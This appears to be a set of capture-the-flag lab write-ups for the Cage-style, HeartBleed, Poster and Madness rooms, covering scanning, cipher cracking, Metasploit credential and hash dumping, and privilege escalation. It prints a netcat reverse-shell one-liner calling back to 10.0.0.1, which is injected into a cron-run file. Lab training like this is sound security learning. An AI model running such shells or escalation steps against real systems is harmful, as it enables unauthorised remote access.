![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_q90nkF1eilFMy1Pj%2Fimage.png?alt=media\&token=dbff2a3e-14f2-48a7-9cc1-ef00e2b42e9a)

This looks like a password, we can try logging into SSH but lets first check Port 80: HTTP

### Port 80: HTTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_j-SWvbIZYGReGm9T%2Fimage.png?alt=media\&token=22e4741a-6c65-40f2-bba0-44da93c62549)

Looking at the page, we have a username: `Weston`. None of the links on the page work, so lets `gobuster` to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.96.253/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oJEGTRk4sGsthu5J%2Fimage.png?alt=media\&token=84cb9c8c-a099-4f26-b7e8-f91837b0a7b8)

There is nothing of interest in the `/scripts` file, the `/contracts` directory has an empty file. The auditions has a interesting file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oZE0o5jB_1pB8pJt%2Fimage.png?alt=media\&token=97f51fc3-c89d-41f3-b9ba-ea53585ff366)

Lets download this to our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oojra9yRu-OH31rQ%2Fimage.png?alt=media\&token=4f7b8ebc-3b91-4ac4-b0df-6747a71dccb1)

We can look at this file with a tool called `Sonic Visualizer`, lets open the file in the app.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_rHT97PfA7wOdrkb2%2Fimage.png?alt=media\&token=b303b7aa-3d38-4eac-93a7-0271e29a6d5a)

Now go to pane and then go to `Add Spectrogram` click the first option , we are doing this to add a spectrogram so that we can look at hidden data.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_szmkDlXt46_MtHLM%2Fimage.png?alt=media\&token=a6d47c99-f234-4e02-a61b-5ba9e02e0aba)

We can see a box, lets see what is says.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_tBgQPnMbmPAeGn-x%2Fimage.png?alt=media\&token=567c5efb-f816-4d59-8297-11ee2e8ed798)

After changing the color to get a better visual, we can see that it says `namelesstwo`. Checking around I found out that this is the key for the vignenere cipher that we can use to crack the text we found before.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_tgYitDjQ2182oO6J%2Fimage.png?alt=media\&token=3690cc0c-ec63-4c89-a2d5-00a809e8cce9)

We have the same text we found before, lets login through ssh now with the username we found in the start `Weston`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_u3tEkpnR9qhvLJJ3%2Fimage.png?alt=media\&token=bd2021be-1941-48ff-a18c-85e01b4c70eb)

As the password worked, we can answer the first question

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_uI3mJ_U7TYCgp0I3%2Fimage.png?alt=media\&token=e0c4bf79-d99d-440e-8cad-308328ea0712)

## Privilege Escalation

I was looking around when a message popped up.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_uX1AM4alDafOGiHA%2Fimage.png?alt=media\&token=c6e89095-e0ee-4a56-9372-59d697c78f9e)

It looks like there is a cronjob running that executes this script every few minutes, lets go find it. I was searching for a while and could not find it, so lets transfer a tool onto this machine called [pspy ](https://github.com/DominicBreuker/pspy)and have it find the `cron` file.

To transfer this file, lets start a http listener on our machine and download the file on the victim machine wget. If you just downloaded it, make sure to make it an executable.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_w_G0SjXhQnwC8WNE%2Fimage.png?alt=media\&token=a17b7dcd-b14f-443e-ab17-87b541916c14)

Now lets start a http server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_wghdmITesU98GTJr%2Fimage.png?alt=media\&token=1349512b-5dc7-4e66-ae6f-8c8aabfe9598)

Now lets download the file on the victims machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_wtlhO4cP5ogdOxvZ%2Fimage.png?alt=media\&token=e337e509-2331-4d94-b7b2-1114963f7394)

Lets make the file an executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_x-C7XwKkkh6miW0t%2Fimage.png?alt=media\&token=6c44d76d-cd2e-4f05-a3ff-d85fe88b4b78)

Now run the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_x9g3kxDVn1dN95yl%2Fimage.png?alt=media\&token=fc05ef15-fd9b-493c-a902-43241a76a132)

Looking through the output we find an interesting file which may be the one we are looking for.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_xWS0xe7yX36wlPIe%2Fimage.png?alt=media\&token=37fdb206-6df0-48f0-82d6-8bee4234fee6)

Lets check this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_xdkp1Jur2cc-OdRM%2Fimage.png?alt=media\&token=9c3591b9-b57b-4511-8941-367933190f7d)

Lets add a reverse shell to the file .quotes (As the .quotes file is being printed every few minutes) so that we can get a higher privileged user access, that is the owner of the file `./opt/.dads_scripts/.files/.quotes` **`cage`**. We can see this when we look at the permissions of the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mc_yrcQvbKbnK47zA0L%2Fimage.png?alt=media\&token=c39ae92f-70e3-4c04-879c-a58a7b6dd61d)

The reverse shell we will be using is this

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Lets echo the reverse shell into the file and start a netcat listener&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaDuxIgwr7vpahXqli%2F-McaEbr6REtLaFndrpJF%2Fimage.png?alt=media\&token=3ff80e7f-77d7-4f59-9127-1b972fd784f6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mc_z7xqSIh8BybaOEyX%2Fimage.png?alt=media\&token=c501c19a-8b23-4015-a463-06fa782402b8)

After a while, you should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca-dAeY1NvYey3HWFR%2Fimage.png?alt=media\&token=9270aecd-83e3-4c28-b1f1-bcb43b54ce14)

Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca-tDIAZqCZ1-R7_Aa%2Fimage.png?alt=media\&token=71ebe951-705d-4e1e-a34d-ec0b04fe7d10)

Lets read the file in this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca0Bm_n_Myk6E-HlQW%2Fimage.png?alt=media\&token=bb2d67e6-c37e-441e-9a2a-740ff2e7c92d)

We have the user flag.

Next lets cd into the email backup folder and read all the files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaBbvMVj4Gp4fSlbqX%2Fimage.png?alt=media\&token=3b9abb9f-a6ba-4e95-99db-871d6d45f323)

Looking through the files, the only interesting thing I found is the string in the third email and the number of times the word `FACE` has been used, this might be something that will help us, now lets copy it and try to crack it using Cyber Chef.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaCAaCRJ1l3047v3Pl%2Fimage.png?alt=media\&token=ed976e9a-c13f-45ce-92bc-9b6d92ec1205)

So `FACE` was actually the Key to crack this password, this is the password for the root account, lets switch users and read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaDtCHgjf1XvW7Xlpd%2Fimage.png?alt=media\&token=71a73d66-4edb-4f62-ac15-56be68996d6d)


# HeartBleed

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZo4doTIAUOcmR-5Lv%2F-McZp0CAaFddF737kWJZ%2Fimage.png?alt=media\&token=031bbc7f-bd44-43cb-9c5d-62e6e1d20cbc)

## Background Information

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZo4doTIAUOcmR-5Lv%2F-McZoL0JRLdC_sD2fDdW%2Fimage.png?alt=media\&token=3cd8aa45-ddf1-4b0a-ab7c-47b13a35360c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZo4doTIAUOcmR-5Lv%2F-McZoQud1wzg55GXQNvX%2Fimage.png?alt=media\&token=08d16388-3703-4a53-877c-e012062d7dbf)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 34.253.197.133
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZpZSpioSe9gBDRQS1%2F-McZpc2JPkWVo7PSxC7E%2Fimage.png?alt=media\&token=af867d29-2f32-4d62-830e-d3e529307f3c)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,111,135,139,443,445,593
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,111,135,139,443,445,593 -oN nmap 34.253.197.133
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZpZSpioSe9gBDRQS1%2F-McZpf_6cccYk4cXKjzc%2Fimage.png?alt=media\&token=f7ba00aa-4727-4e48-b775-5c3601142745)

## Enumeration

Lets visit the page on the https port 443

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZq01NG4xA8gq84Ots%2F-McZrA_tzcNMfdl2b59S%2Fimage.png?alt=media\&token=aa941d38-4650-4430-9e9d-86887fe6e4b6)

I did not see anything interesting here or in the source code, so I went to google to look for exploits on `HeartBleed`. I found this [exploit](https://www.exploit-db.com/exploits/32745).

## Exploitation

&#x20;Lets download the exploit and rename it to `exploit.py`. Also make the exploit script a executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZq01NG4xA8gq84Ots%2F-McZt5TVEFejr6xGD7Mj%2Fimage.png?alt=media\&token=35c1c2ed-7744-4848-b406-2470c90c5939)

Now lets run the exploit on port 443

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McZq01NG4xA8gq84Ots%2F-McZtU4gs2LQRfchHTYd%2Fimage.png?alt=media\&token=75e154a0-6ec1-42f3-959c-9a3bba693570)

We have the flag in the output.


# Poster

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McW4vVTYN0UfM-sA2ev%2F-McWPpEdFrjT3HOP3ayk%2Fimage.png?alt=media\&token=b6ed39e0-3dc3-4fca-80d3-d41df2a5adc4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McW4vVTYN0UfM-sA2ev%2F-McWPlv1X6SOiPqdaI2Q%2Fimage.png?alt=media\&token=c4f38221-0517-4c47-addc-de10fc1e1b79)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.65.15
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWPwkrQrpy1az4JnPJ%2F-McWQKpylUvP49f1levY%2Fimage.png?alt=media\&token=0fd74076-1d85-4c78-b36a-2ef7f6276e8b)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,5432
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80,5432 -oN nmap 10.10.65.15
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWPwkrQrpy1az4JnPJ%2F-McWQxuFt0YTOPXOI7Ny%2Fimage.png?alt=media\&token=b30662d4-a2a3-4e21-b25a-fb3696b5f7c2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWR4aafXlwP7ELQMkb%2Fimage.png?alt=media\&token=6cfedeab-c2a7-4f47-a636-aacebbd34f69)

## Enumeration

We are told to go to Metasploit and look for a auxiliary module that allows us to enumerate user credentials, so lets do that.

Lets start `Metasploit`

```
msfconsole
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWRRG2egZ9ELa82ftQ%2Fimage.png?alt=media\&token=a11f7456-53c5-4422-aa75-e40c7b61609c)

Now lets look for the module

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWSXT5nfvKtxZsP5RD%2Fimage.png?alt=media\&token=4da7f919-32d5-4293-8ee5-d557f165a293)

Its the 4th one, so lets select it and set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWSmRRTUzCtPdfSyuQ%2Fimage.png?alt=media\&token=82e83d46-2069-4418-8a4d-f6077ad93cf3)

Lets now run the enumeration tool

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWSuSeCaSb1e72p6bw%2Fimage.png?alt=media\&token=a70d135f-b4fc-4df0-ba52-30e8bfc0fad0)

We have the username and password.

Lets answer the next 2 questions as we have the answers

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWTMh54j9yV0bOlUB6%2Fimage.png?alt=media\&token=f87b162e-5fca-48a0-b791-f530ace44221)

Now we have to find the module that will allow us to execute command with the credentials we just found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWUIt_TdcUXZyaE0K7%2Fimage.png?alt=media\&token=e5910a1a-db6f-4b00-a322-cea410a37352)

It is number 6, lets select it and set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWVeB0y_LQnlfGqCj0%2Fimage.png?alt=media\&token=25a80593-748c-4745-afaa-624a388cb912)

Lets run it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWVk1FF5IyjWzLl6k6%2Fimage.png?alt=media\&token=2570ed26-d902-491a-bac5-62c587798fb7)

We have the Version, we can answer the next two questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWW-ZfI0oJ-GEpxTE5%2Fimage.png?alt=media\&token=bcf0a10d-bc28-4029-a02c-2d9956cb2d19)

Next we have to find the module that will dump user hashes

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWWBL8kQdyXHaxwoo0%2Fimage.png?alt=media\&token=abbe6d69-2691-4082-bb41-27e8646091c5)

This time it is number 8, so lets select it and set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWUYo95NKvX4l_LjWK%2Fimage.png?alt=media\&token=5eb104ef-d3bf-47a0-985c-23637289f966)

Lets run it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWUdpUt2Y6JhQcI_GD%2Fimage.png?alt=media\&token=0ebf879f-cbe9-44e9-8ba9-283dd6281835)

We have 6 usernames and their passwords which have been hashed. We can answer the next two questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWWXASTEA8dVPeeURL%2Fimage.png?alt=media\&token=83c216db-0a84-48e4-84ec-caf898e97495)

Next we have to find the module that will allow an authenticated user to view files of their choosing.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWWcUmLAlsadEeu9uS%2Fimage.png?alt=media\&token=b56be2e9-7ea1-46c3-8139-09c6e89c310f)

This time it is number 5, lets select it, set the options and run it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWXG2bdPlda_v9sRE4%2Fimage.png?alt=media\&token=70035403-8725-4741-a54e-58fd78dd70ef)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWXKibqhxz18_bk4hV%2Fimage.png?alt=media\&token=300bfde1-b209-4465-82a8-b4df89d95e8c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWXOHEGeprAB6UeIMc%2Fimage.png?alt=media\&token=89f0e8b8-1921-42d3-aa97-d0b9c76ba429)

Now , we have to look for the module that allows arbitrary command execution.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWR0riTdWYwIu5z8GZ%2F-McWXo2BeeUQa10YEZTu%2Fimage.png?alt=media\&token=e9f21bdd-72b1-4e4c-bd0d-2eb58b061207)

It is number 2, lets select it and set the options, we can also answer the next two questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWZjkwkEdzufYz8YS9%2Fimage.png?alt=media\&token=46f4e7b3-7967-4da8-ad7b-52a753cd270a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWY9WRexZdVfhYgjMn%2Fimage.png?alt=media\&token=0eb67444-f0a2-46f9-8f4b-ab9842deaa56)

Lets run it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWYHezIpCEW2o7C4Sy%2Fimage.png?alt=media\&token=6c941b01-0dcb-44d9-9fe5-915fb3dff1c5)

Looking back at the usernames and credentials we found, we can try to cd into one of the users directory and list the files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McW_7R2SAYRHUYi4qb4%2Fimage.png?alt=media\&token=07618271-f066-4964-9e2a-e00fa9782bf3)

This file looks interesting, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McW_ElRUM4KZGF-v8jf%2Fimage.png?alt=media\&token=1953ddba-8e7c-4d17-ba17-cd3e67b8350a)

We have the password, lets ssh into the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McW_Un7ngTpL2RUu1fD%2Fimage.png?alt=media\&token=85568b9a-e789-4685-824d-a11f188d4b0e)

## Privilege Escalation

We cannot read the user flag and did not have sudo permissions, so lets run `LinEnum.sh` on the machine to look for interesting files.  First we have to start a http server and download the file on the victim machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWcN-W2ysqQhrHMhOI%2Fimage.png?alt=media\&token=ec17f841-e310-4c7d-b28a-46e9cde9ea67)

You can stabilize the shell with this command

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Now lets download the file, make sure you are in the tmp folder as other folders do not give permissions to download files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWctLySLCkAScSEdgR%2Fimage.png?alt=media\&token=fe968b07-f176-42e6-b932-92c6dbfa4598)

Lets make the script an executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWd-aeakfBgoDN80-J%2Fimage.png?alt=media\&token=e30a4b21-6cde-4076-a678-5fb0c3c2a883)

Now lets run it.&#x20;

```
./LinEnum.sh
```

Long story short, I found nothing and I even tried Linpeas but found nothing interesting, maybe I am not looking at the right thing lol, anyways so I remembered there was a web server running on the machine, so I went to `/var/www/html` to look for clues and found this interesting file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWecf9MicydqheKQzm%2Fimage.png?alt=media\&token=79e933cf-e260-4409-aa9e-86a25307a082)

Lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWejDLcKKJBK8hBWnY%2Fimage.png?alt=media\&token=28868bdd-4bfe-45b9-b82d-958143e63973)

We have the password for the user `Alison`, lets switch users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWetIh-l137XoDglFB%2Fimage.png?alt=media\&token=84db3dc6-8efd-40f9-99ad-4fa31a213985)

We have `sudo` permission on this user, so lets see what we can run

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWf2ViXofA8wMkD_sY%2Fimage.png?alt=media\&token=61cbbee1-9fc2-42ae-b47f-b90723bd3524)

Looks like we can run all commands, so lets switch users to root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWfFV-u_1vV4l8QpBq%2Fimage.png?alt=media\&token=443ab502-c1f1-4000-a7a6-e29350efb613)

We can now read the user flag and the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McWXxBHzEDYhVNkw5IY%2F-McWfPng8INIK1k4VoAD%2Fimage.png?alt=media\&token=68ef97f2-7f6d-4b8f-a171-867e758002e6)


# Madness

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVNRwh0k7lpembdmq6%2F-McVRwnuaxZtyqrDrz2s%2Fimage.png?alt=media\&token=2d874c4c-f7d2-429f-9e8a-78ac39db8332)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.112.81
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVTcBugTfrPuE6_LGa%2Fimage.png?alt=media\&token=98eb089c-f5d2-462c-b12e-7c9876789b4a)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.112.81
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVTfURGzu6Yz6vokRF%2Fimage.png?alt=media\&token=452ced2a-24a4-4ddb-a70d-56ab2de5272f)

## Enumeration

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McVRxzoz6OFDiE-VPWu%2F-McVTmutVIuBQfFpQzNU%2Fimage.png?alt=media\&token=9069122b-3200-4a9b-8f9d-50da9a9503a5)

Its a apache 2 default page, lets run `gobuster` to find hidden directories.&#x20;

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.112.81/
```

Looking the at the page, there is a broken image, lets see what it is in the source code

